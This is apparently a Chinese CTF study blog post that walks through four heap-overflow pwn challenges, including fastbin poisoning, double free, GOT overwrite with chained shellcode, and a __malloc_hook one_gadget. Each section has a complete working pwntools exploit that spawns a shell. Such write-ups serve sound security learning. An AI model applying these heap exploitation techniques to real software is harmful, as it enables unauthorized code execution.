天天看點

pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook

pwn學習總結(五) —— 堆溢出經典題型整理

  • fastbin + 棧溢出
  • fastbin + 函數構造
  • fastbin + 堆執行
  • fastbin + malloc_hook

fastbin + 棧溢出

題目:fastbin

環境:ubuntu 16.04

下載下傳位址:https://pan.baidu.com/s/1R6-BVR91Io_ZVPDDpBcCkA 提取碼:r7e5

檢視程式防護:

pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook

使用ida進行反編譯:

pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook

已知條件:

  1. 可以對main函數中局部變量buf進行寫入,并且能得到buf的位址,但read函數不存在棧溢出
  2. 使用者申請的chunk位址儲存在全局數組中,下标等于申請時輸入的id号
  3. read_content函數存在棧溢出,可以覆寫到下一個chunk資料區的前4個位元組
  4. 存在callsystem函數,若能将eip指向它即可getshell

利用思路:

  1. 将buf的前8個位元組構造為chunk的head部分
  2. 申請兩個chunk,id分别為0和1
  3. 釋放chunk1,由于是第一次釋放,此時chunk1的fd為0
  4. 向chunk0寫入資料,通過溢出将chunk1的fd修改為buf的位址
  5. 再次申請chunk1,堆管理器中的下一個chunk指針将指向chunk1->fd
  6. 申請chunk2,chunk2将會配置設定到main函數局部變量buf+8的位置
  7. 向chunk2寫入資料,也就是向buf寫入資料,并覆寫main函數傳回位址為callsystem函數的位址
  8. 當main函數退出時,将執行callsystem函數

exp:

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'

elf = ELF('./fastbin')
sh  = process('./fastbin')

callsystem = 0x804852d

def add(num):
	sh.recvuntil('Your choice:\n')
	sh.send("1")
	
	sh.recvuntil('id:\n')
	sh.send(str(num))
	
def delete(num):
	sh.recvuntil('Your choice:\n')
	sh.send("2");

	sh.recvuntil('id:\n')
	sh.send(str(num))

def read(num, content):
	sh.recvuntil('Your choice:\n')
	sh.send("3")
	
	sh.recvuntil('id:\n')
	sh.send(str(num))
	
	sh.recvuntil('content:\n')
	sh.send(content)

sh.recvuntil('Your Name:\n')
sh.send(p32(0) + p32(0x29))

sh.recvuntil('Your home is:')
buff_addr = int(sh.recvline()[:-1], 16)
#print(hex(buff_addr))

add(0)
add(1)
delete(1)
payload = 'a'*32 + p32(0) + p32(0x29) + p32(buff_addr)
read(0, payload)
add(1)
add(2)
payload = 'a'*0x12 + p32(callsystem)
read(2, payload)

#end while
sh.recvuntil('Your choice:\n')
sh.send("4")

sh.interactive()
           

getshell:

pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook

fastbin + 函數構造

題目:fastbin2

環境:ubuntu 16.04

下載下傳位址:https://pan.baidu.com/s/1EdyxY51lrkOcbByIiIH-8A 提取碼:cs3z

檢視程式防護:

pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook

使用ida進行反編譯:

pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook

已知條件:

  1. 使用者申請的chunk位址儲存在全局數組中,下标等于申請時輸入的id号
  2. chunk釋放後,不會初始化對應的數組成員
  3. 存在system函數,但不存在

    "/bin/sh"

    字元串
  4. read_content函數中存在溢出,可以覆寫到下一個chunk資料區的前8個位元組
  5. do_something函數中存在函數指針,指向

    *buf[id-2]

    ,參數為

    *(buf[id]+8)

    ,并在一定條件下執行

利用思路:

  1. 申請三個chunk,id分别為0、1、2
  2. 按順序釋放chunk1和chunk2,此時chunk2的fd指向chunk1的head
  3. 向chunk0的資料區開始位置寫入system函數的plt位址,通過溢出向chunk1的資料區開始位置寫入

    "/bin/sh"

    字元串
  4. 讓函數指針指向chunk0并執行,此時函數位址為system的位址,參數為chunk2的fd+8,也就是"/bin/sh"的位址

exp:

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'

elf = ELF('./fastbin2')
sh  = process('./fastbin2')

def add(num):
	sh.recvuntil('Your choice:\n')
	sh.send("1")
	
	sh.recvuntil('id:\n')
	sh.send(str(num))
	
def delete(num):
	sh.recvuntil('Your choice:\n')
	sh.send("2");

	sh.recvuntil('id:\n')
	sh.send(str(num))

def read(num, content):
	sh.recvuntil('Your choice:\n')
	sh.send("3")
	
	sh.recvuntil('id:\n')
	sh.send(str(num))
	
	sh.recvuntil('content:\n')
	sh.send(content)
	
def do(num):
	sh.recvuntil('Your choice:\n')
	sh.send("4")
	
	sh.recvuntil('id:\n')
	sh.send(str(num))
	
system_addr = elf.plt['system']
	
add(0)
add(1)
add(2)
delete(1)
delete(2)
payload = p32(system_addr).ljust(32, 'a') + p32(0) + p32(0x29) + '/bin/sh\x00'
read(0, payload)
#pwnlib.gdb.attach(proc.pidof(sh)[0])
do(2)

sh.interactive()
           

getshell:

pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook

fastbin + 堆執行

題目:note-service2

平台:攻防世界 PWN 高手進階區

原平台:CISCN-2018-Quals

檢視程式防護:

pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook

使用ida進行反編譯:

pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook

已知條件:

  1. 不存在堆溢出
  2. 申請堆塊時存在數組下标溢出,可在任意位址申請堆塊
  3. userdata最多申請8個位元組,但是隻能寫入7個位元組(見ReadContent函數)

利用思路:

  1. 通過數組下标溢出,在對free函數進行got表複寫,也可以對atoi等函數進行got表複寫
  2. 申請一個堆塊,寫入字元串’/bin/sh’
  3. 申請多個chunk,分組将shellcode寫入連續的堆塊中,在最後兩個位元組構造跳轉到下一個shellcode的指令
  4. 調用free函數,下标為之前寫入字元串’/bin/sh’的堆塊,相當于将’/bin/sh’作為參數進行系統調用

exp:

#-*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./note-service2')
#libc_so  = ELF('./') 

sh = process('./note-service2')
#sh = remote('', )

def add(index, content):
	sh.sendlineafter('choice>> ', '1')
	sh.sendlineafter('index:', str(index))
	sh.sendlineafter('size:', '8')
	sh.sendlineafter('content:', content)

def delete(index):
	sh.sendlineafter('choice>> ', '4')
	sh.sendline(str(index))

add(0,'/bin/sh')
add((elf.got['free']-0x2020A0)/8,asm('xor rsi,rsi')+'\x90\x90\xe9\x16')
add(1,asm('push 0x3b\n pop rax')+'\x90\x90\xe9\x16')
add(2,asm('xor rdx,rdx')+'\x90\x90\xe9\x16')
add(3,asm('syscall')+'\x90'*5)
delete(0)

sh.interactive()
           

getshell:

pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook

fastbin + malloc_hook

題目:easy_heap

平台:NCTF2019

環境:ubuntu 16.04

下載下傳位址:https://pan.baidu.com/s/1_I07Zs2IK1WRFfYJGm_yFQ 提取碼:rtuh

檢視程式防護:

pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook

使用ida進行反編譯:

pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook

已知條件:

  1. chunk在delete_node函數中被free後未初始化對應數組成員,存在double free漏洞
  2. 申請chunk時大小被限制,可将chun申請到buff處,溢出并覆寫chunk_size為任意值
  3. 可使用print_content函數洩露unsortbin位址,進而洩露libc_base

利用思路:

  1. 構造buff前16位元組為chunk的head部分
  2. 通過double free将chunk申請到buff+8處
  3. 對buff進行寫入,溢出并覆寫chunk_size為合适大小
  4. 洩露unsortbin,通過偏移0x3c4b78得到libc_base,再通過偏移0xf1147得到one_gadget的位址
  5. 擷取

    __malloc_hook

    函數位址,寫入one_gadget的位址;當malloc函數執行時,若

    __malloc_hook

    中有值,便會執行其中的函數

exp:

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'amd64'

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

sh   = process('./easy_heap')

def add(size, content):
	sh.recvuntil('4. exit\n')
	sh.send('1')
	
	sh.recvuntil('What\'s your heap_size?\n')
	sh.send(str(size))
	
	sh.recvuntil('What\'s your heap_content?\n')
	sh.send(content)
	
def delete(index):
	sh.recvuntil('4. exit\n')
	sh.send('2')
	
	sh.recvuntil('What\'s your heap_index?\n')
	sh.send(str(index))
	
def show(index):
	sh.recvuntil('4. exit\n')
	sh.send('3')
	
	sh.recvuntil('What\'s your heap_index?\n')
	sh.send(str(index))

buff_addr = 0x602060

sh.recvuntil('What\'s your name?\n')
sh.send(p64(0) + p64(49))	#構造chunk頭部

#将chunk申請到buff處,寫入資料并溢出覆寫chunk_size
add(32, 'a')				#id:0
add(32, 'a')				#id:1
delete(0)
delete(1)
delete(0)
add(32, p64(buff_addr))		#id:2
add(32, 'a')				#id:3
add(32, 'a')				#id:4
add(32, 'a'*8 + p64(0x200))	#id:5

#洩露unsortbin的位址
add(256, 'a')				#id:6
add(256, 'a')				#id:7
delete(6)
show(6)
sh.recvuntil('heap6: ')
ubin = u64(sh.recvline()[:-1].ljust(8, '\x00'))
#print(hex(ubin))

#0x3c4b78:可通過gdb調試計算,不同版本的libc偏移可能不同
#ubin = arena + 0x88,即 libc_base = ubin - (arena-libc_base) - 0x88
libc_base = ubin - 0x3c4b78
malloc_hook = libc_base + libc.symbols['__malloc_hook']
#0xf1147:通過靜态分析libc反彙編得到
one_gadget = libc_base + 0xf1147

#1. 将chunk申請到malloc_hook-0x23位置,此時chunk的size為7f(可通過調試觀察)
#2. 向malloc_hook中寫入one_gadget的位址
#3. 當malloc執行時,會判斷__malloc_hook中是否為空,若不為空,則執行其中的函數
add(96, 'a')				#id:8
add(96, 'a')				#id:9
delete(8)
delete(9)
delete(8)
add(96, p64(malloc_hook-0x23))		#id:10
add(96, 'a')						#id:11
add(96, 'a')						#id:12
add(96, 'a'*0x13 + p64(one_gadget))	#id:13

#再次調用malloc函數,将會執行one_gadget
sh.recvuntil('4. exit')
sh.send('1')
sh.recvuntil('What\'s your heap_size?\n')
sh.send('16')

sh.interactive()
           

getshell:

pwn學習總結(五) —— 堆溢出經典題型整理fastbin + 棧溢出fastbin + 函數構造fastbin + 堆執行fastbin + malloc_hook
PWN